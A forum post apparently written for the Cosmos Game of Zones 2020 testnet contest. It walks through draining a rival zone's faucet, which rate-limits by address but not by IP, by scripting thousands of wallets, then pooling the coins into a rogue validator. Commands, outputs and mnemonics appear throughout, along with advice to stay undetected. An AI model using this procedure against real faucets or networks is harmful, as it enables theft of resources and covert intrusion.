Invading an IBC Zone and Draining Its Reserves


#1

Note: I’m posting this on behalf of the Regen Network’s Game of Zones team, of which Staking Defense is a member.

This exploit was first carried out by Regen GoZ team members Alex Novy, Twitter @lost_inchains and Raúl B, Twitter - Telegram @D00hanPijo

This article will demonstrate how an IBC zone operating a faucet without rigid safety measures can be invaded by rogue validators who can then drain the zone’s faucet.

We have found that the faucet service implemented in the relayer’s frame-work for testnets checks that the same address cannot obtain coins within 5 minutes. However, it does NOT check if the same IP makes repeated requests.

We have discovered a way to exploit this vulnerability by making automated requests to a vulnerable faucet in a zone using the remote IBC Protocol, by changing the receiving address of the coins, using a Python script to store the remote wallet credentials.

Finally, we obtain the necessary information to run a fullnode in the compromised zone, import the wallets and send all the tokens from the faucet to a single address (using another Python script) with which we later become rogue validators in the compromised zone.

As rogue validators , we can run a blockchain scanner and spy on the compromised zone’s transactions to gain intelligence in the contest, potentially using the intelligence to run various exploits, e.g. a 51% attack, etc.

We will explain in detail some of the some of the procedures used to achieve this.

  1. How we obtain open RPC endpoints and open faucets
  2. How select the target zone and faucet
  3. How perform the faucet attack (abuse) *
  4. How we obtain access to the compromised zone and run a fullnode after fetching the genesis and persistent peers
  5. How to import wallets into the compromised zone and send all faucet coins to one account
  6. Setup a rogue validator in the compromised zone
  7. Install an explorer to view all transactions in the compromised zone and spy on the remote zone’s weapons used during GoZ Phase3

1) How we obtain open RPC and open faucets.

First of all we are going to take the list of the zones from the GoZ repository. After extracting the hostnames using nmap we are searching for open ports (8000 and 26627) we found a good set of RPC servers online and unfirewalled.

2) How select the proper victim.

We studied their state page and and pre-selected the zones that were active in phase 3 of GoZ, looking for -3 suffixes in their chain-id.

We were also looking for victims with few validator nodes and faucets with high rewards.

We have to obtain from their genesis the info to build a JSON file and add as a Chain in our relayer, in this case, we obtain this info from http://169.62.139.xxx:26657/genesis?

The file for import in relayer looks like this:

cat staked-ibc-3.json

{"key":"faucet","chain-id":"staked-ibc-3","rpc-addr":"http://169.62.139.xxx:26657","account-prefix":"cosmos","gas":200000,"gas-prices":"0.0025stakedus","default-denom":"stakedus","trusting-period":"504m"}

This are the commands needed to import and test the connection with chain and faucet:

rly chains add -f staked-ibc-3.json

ensure the lite clients are created locally…

rly lite init regen-raul -f

rly l i staked-ibc-3 -f

ensure each chain has its appropriate key…

rly keys add regen-raul

rly k a staked-ibc-3

To ensure the chain is ok:

$ rly chains list

0: staked-ibc-3 -> key(:heavy_check_mark:) bal(:heavy_check_mark:) lite(:heavy_check_mark:) path(✘)

1: m-------goz-3 -> key(:heavy_check_mark:) bal(:heavy_check_mark:) lite(:heavy_check_mark:) path(:heavy_check_mark:)

2: regen-raul -> key(:heavy_check_mark:) bal(:heavy_check_mark:) lite(:heavy_check_mark:) path(:heavy_check_mark:)

ensure you have funds on both chains…

this adds tokens to your addresses from each chain’s faucet

rly testnets request staked-ibc-3

Now we have tokens on according to output of the previous command execution.

3. How perform the faucet attack (abuse)

The faucet is a optional service that Zones could run to offer others tokens for make tests.

The official documentation in github (https://github.com/iqlusioninc/relayer/tree/master/testnets) explain how perform the request:

ensure you have funds on both chains…

this adds tokens to your addresses from each chain’s faucet

rly testnets request {{src_chain_id}}

rly tst req {{dst_chain_id}}

$ rly testnets request staked-ibc-3

{"address":"cosmos1yux0dn66ucuaedh8542yjyky0gr8wud7784j28","amount":"100000stakedus"}

$ rly testnets request staked-ibc-3

{"error":"cosmos1yux0dn66ucuaedh8542yjyky0gr8wud7784j28 has requested funds within the last 5m0s, wait 4m52.82637671s before trying again"}

But if you read the --help of the command you can note that additional wallet could be pointed

$ rly testnets request --help

request tokens from a relayer faucet

Usage:

rly testnets request [chain-id] [[key-name]] [flags]

Ok, let’s do it and get rich:

$ rly testnets request staked-ibc-3 wallet-1

Error: The specified item could not be found in the keyring

Oh, error, mmm we must first create this wallet-1 adding to keyring:

rly keys add staked-ibc-3 wallet-1

{"mnemonic":"abandon fiscal promote idea involve theory pass unit light visa retreat casino pencil garbage voice forum swamp wife inside error toy gaze net figure","address":"cosmos1xvh8p400k9z70kflvaxed3xht3cstyvc23rfl0"}

Let’s try again:

rly testnets request staked-ibc-3 wallet-1

{"address":"cosmos1xvh8p400k9z70kflvaxed3xht3cstyvc23rfl0","amount":"100000stakedus"}

If we do rly testnets request staked-ibc-3 wallet-1 we can redo it changing the wallet-n n times.

Then, by making a script that iterates 5000 times on this faucet changing each time the target account will produce 5000 accounts with 0.100000 tokens each time, remotely, we just have to register the chain in our relayer.t

This script 1_hack_faucets_get_addressess.py makes it possible. First create the wallets, and then request tokens from faucets, it store the mnemonic and address in a JSON file for restore it in the Zone later.

$ python3 1_hack_faucets_get_addressess.py

CREATING WALLETS IN: staked-ibc-3

{"mnemonic":"chuckle auction siren endorse legend cabin dry gravity friend side pave hair voice remember city misery shoot connect maximum iron spoil service flame ice","address":"cosmos1xqdgxullgjwakmmgnyeju5p49lkcpdvxfnl6af"}

STEALING FROM FAUCET: staked-ibc-3

{"address":"cosmos1xqdgxullgjwakmmgnyeju5p49lkcpdvxfnl6af","amount":"100000stakedus"}

CREATING WALLETS IN: staked-ibc-3

{"mnemonic":"renew sense bacon lazy exist improve impact beyond banner someone ethics pattern genius dance wrestle another matter device nerve swap glue useful purity axis","address":"cosmos10y4pk7vg7w25n5nk9tp2en5zpr2vt6cdkmmstz"}

STEALING FROM FAUCET: staked-ibc-3

{"address":"cosmos10y4pk7vg7w25n5nk9tp2en5zpr2vt6cdkmmstz","amount":"100000stakedus"}

CREATING WALLETS IN: staked-ibc-3

{"mnemonic":"six current zone cost scatter law exile learn multiply search ticket odor spatial riot topple layer gravity alley rely extra silent voice because quiz","address":"cosmos196a2qsqdwyr6cewk8eekw9zf27m8fcgqtu3067"}

STEALING FROM FAUCET: staked-ibc-3

{"address":"cosmos196a2qsqdwyr6cewk8eekw9zf27m8fcgqtu3067","amount":"100000stakedus"}

Transactions during the export process

As we can see on the graph above the script is doing its job, we should keep it silent as much as possible that’s why we use only 1 thread. It’s a long run job, but this way our attack can’t be detected.

Block time started to be unstable

The blocktime started to shake, but not too much and that’s fine in our case.

4) How we obtain access to the remote ZONE.

We have to run a fullnode and to convert into validator later on (fetch the genesis and persistent peers).

Genesis can be taken from genesis URI

curl http://169.62.139.190:26657/genesis | jq .result.genesis > ~/.gaiad/config/genesis.json

Persistent peer can be obtained by curl the status URI

curl http://169.62.139.190:26657/status | jq -r .result.node_info.id

61a3167d2d65700924ec9327e123996fc6c02ebc@169.62.139.xxx:26656

After changing our gaiad config we have a running fullnode and it’s syncing with network.

$ gaiacli status

{"node_info":{"protocol_version":{"p2p":"7","block":"10","app":"0"},"id":"61ca2c96d7a8f75e414af5a37df2fddd560765e9","listen_addr":"tcp://0.0.0.0:26056","network":"staked-ibc-3","version":"0.33.4","channels":"4020212223303800","moniker":"REGEN_is_here","other":{"tx_index":"on","rpc_address":"tcp://127.0.0.1:26057"}},"sync_info":{"latest_block_hash":"69E4E666C51D287F4C78B8943885F3947DE3AF9B6B74448E6597B973111F4438","latest_app_hash":"225170DF395CC457DA87E76E285961E1274D2CB9CB3C3CBEA0EAF47D03EF9A49","latest_block_height":"10154","latest_block_time":"2020-06-01T19:33:56.386148474Z","earliest_block_hash":"9DDB2FE4672B59A2CC1CA38D6906DEBC9359A614CFDC414D20A7892EF8D91BDB","earliest_app_hash":"","earliest_block_height":"1","earliest_block_time":"2020-06-01T05:19:05.135574762Z","catching_up":true},"validator_info":{"address":"27F58607C247C4D5C8800A1D8C63C87ED456F6BB","pub_key":{"type":"tendermint/PubKeyEd25519","value":"hvm+0oLdH5SfxgJzYUmXKScV4LfGL43Ljj7bz6xDy6I="},"voting_power":"0"}}

Now creating the account necessary to send the coins that we’re going to get back in the next step:

$ gaiacli keys add validator

Enter keyring passphrase: REGENhack

Re-enter keyring passphrase: REGENhack

  • name: validator

type: local

address: cosmos12l9jxpr0jsqjl70w8gx8rsnmsy6nved87r5fp0

pubkey: cosmospub1addwnpepq2s45644fjwc8rxev668mz9de8ejpm4ezq6jthyw4ugeacgvdr6lyszuar9

5) How to import wallets in the attacked Zone and send all coins to one account.

Next phase is restore the wallets and send the little amount requested from faucet to a validator account. We do it from the fullnode running in the attacked zone.

To recover more than 5000 small accounts, we have written another script in Python that imports the accounts using the mnemonics and then sends almost all its funds to the main account that we will use to deploy the validator.

At the image we can see one console running the script (python3 2_import_addresses_join_tokens.py) that import the address from the file.json produced with 1_hack_faucets_get_addressess.py (left) and another where we check how is incrementing the amount of tokens (right) with this command:

$ gaiacli query bank balances cosmos12l9jxpr0jsqjl70w8gx8rsnmsy6nved87r5fp0 --chain-id staked-ibc-3 --node tcp://169.62.139.xx:26657

  • denom: stakedus

amount: "32373000"

Transactions during import process

6) Start validator on Staked network with stolen tokens.

gaiacli tx staking create-validator --amount=400494000stakedus --pubkey=$(gaiad tendermint show-validator) --moniker=REGEN_is_here --chain-id=staked-ibc-3 --commission-rate="0.10" --commission-max-rate="0.20" --commission-max-change-rate="0.01" --min-self-delegation="1" --gas="auto" --from=validator

Enter keyring passphrase:

gas estimate: 129865

{"chain_id":"staked-ibc-3","account_number":"7146","sequence":"0","fee":{"amount":[],"gas":"129865"},"msgs":[{"type":"cosmos-sdk/MsgCreateValidator","value":{"description":{"moniker":"REGEN_is_here"},"commission":{"rate":"0.100000000000000000","max_rate":"0.200000000000000000","max_change_rate":"0.010000000000000000"},"min_self_delegation":"1","delegator_address":"cosmos12l9jxpr0jsqjl70w8gx8rsnmsy6nved87r5fp0","validator_address":"cosmosvaloper12l9jxpr0jsqjl70w8gx8rsnmsy6nved8mhqudu","pubkey":"cosmosvalconspub1zcjduepqsmuma55zm50ef87xqfekzjvh9yn3tc9hcchcmjuw8mdultzrew3q5dd7pl","value":{"denom":"stakedus","amount":"400494000"}}}],"memo":""}

height: 0

txhash: 61F02B9DFEE1E48CDF8560FFC90DEDB882181DF270665A81B91C64BB47E78BB1

codespace: ""

code: 0

data: ""

rawlog: ‘[]’

logs: []

info: ""

gaswanted: 0

gasused: 0

tx: null

timestamp: ""

Validators online graph

$ gaiacli status

{"node_info":{"protocol_version":{"p2p":"7","block":"10","app":"0"},"id":"61ca2c96d7a8f75e414af5a37df2fddd560765e9","listen_addr":"tcp://0.0.0.0:26056","network":"staked-ibc-3","version":"0.33.4","channels":"4020212223303800","moniker":"REGEN_is_here","other":{"tx_index":"on","rpc_address":"tcp://127.0.0.1:26057"}},"sync_info":{"latest_block_hash":"DF77B3A8E76884793E23698965CA3C9843BA50880B04638EEB7F389CBB92556E","latest_app_hash":"F8D90D1AD71D878A12454314D995A75FB1C4FBA811DAFD366AE35B0D62024BBD","latest_block_height":"53956","latest_block_time":"2020-06-04T09:02:57.826058862Z","earliest_block_hash":"9DDB2FE4672B59A2CC1CA38D6906DEBC9359A614CFDC414D20A7892EF8D91BDB","earliest_app_hash":"","earliest_block_height":"1","earliest_block_time":"2020-06-01T05:19:05.135574762Z","catching_up":false},"validator_info":{"address":"27F58607C247C4D5C8800A1D8C63C87ED456F6BB","pub_key":{"type":"tendermint/PubKeyEd25519","value":"hvm+0oLdH5SfxgJzYUmXKScV4LfGL43Ljj7bz6xDy6I="},"voting_power":"400"}}

gaiacli query staking validators

  • operator_address: cosmosvaloper12l9jxpr0jsqjl70w8gx8rsnmsy6nved8mhqudu

consensus_pubkey: cosmosvalconspub1zcjduepqsmuma55zm50ef87xqfekzjvh9yn3tc9hcchcmjuw8mdultzrew3q5dd7pl

jailed: false

status: 3

tokens: "400494000"

delegator_shares: "400494000.000000000000000000"

description:

moniker: REGEN_is_here

identity: ""

website: ""

security_contact: ""

details: ""

unbonding_height: 0

unbonding_time: 1970-01-01T00:00:00Z

commission:

commissionrates:

rate: "0.100000000000000000"

max_rate: "0.200000000000000000"

max_change_rate: "0.010000000000000000"

update_time: 2020-06-04T09:01:37.23690773Z

min_self_delegation: "1"

  • operator_address: cosmosvaloper1e797al5fur3sjwqk9j9ususud8sq9nrydes2sg

consensus_pubkey: cosmosvalconspub1zcjduepqwxg5tld58lzytvxjqtnp8xct4jx763hsxcta5awa887evwrr7t4qcxfdzu

jailed: false

status: 3

tokens: "90000000000"

delegator_shares: "90000000000.000000000000000000"

description:

moniker: staked-ibc-3

identity: ""

website: ""

security_contact: ""

details: ""

unbonding_height: 0

unbonding_time: 1970-01-01T00:00:00Z

commission:

commissionrates:

rate: "0.100000000000000000"

max_rate: "0.200000000000000000"

max_change_rate: "0.010000000000000000"

update_time: 2020-06-01T05:19:05.135574762Z

min_self_delegation: "1"

7) Install an explorer to view all transactions and spy their weapon for GoZ Phase3

From here, the imagination and the need of each team can play an important role.

You can run an explorer and spy on the transactions. You can make IBC requests to other Zones, collect more coins from other faucets, etc, etc…

From the Regen Network Team for Game of Zones 2020 in Cosmos with love :smiling_imp:

Carried out by

Post intro edited by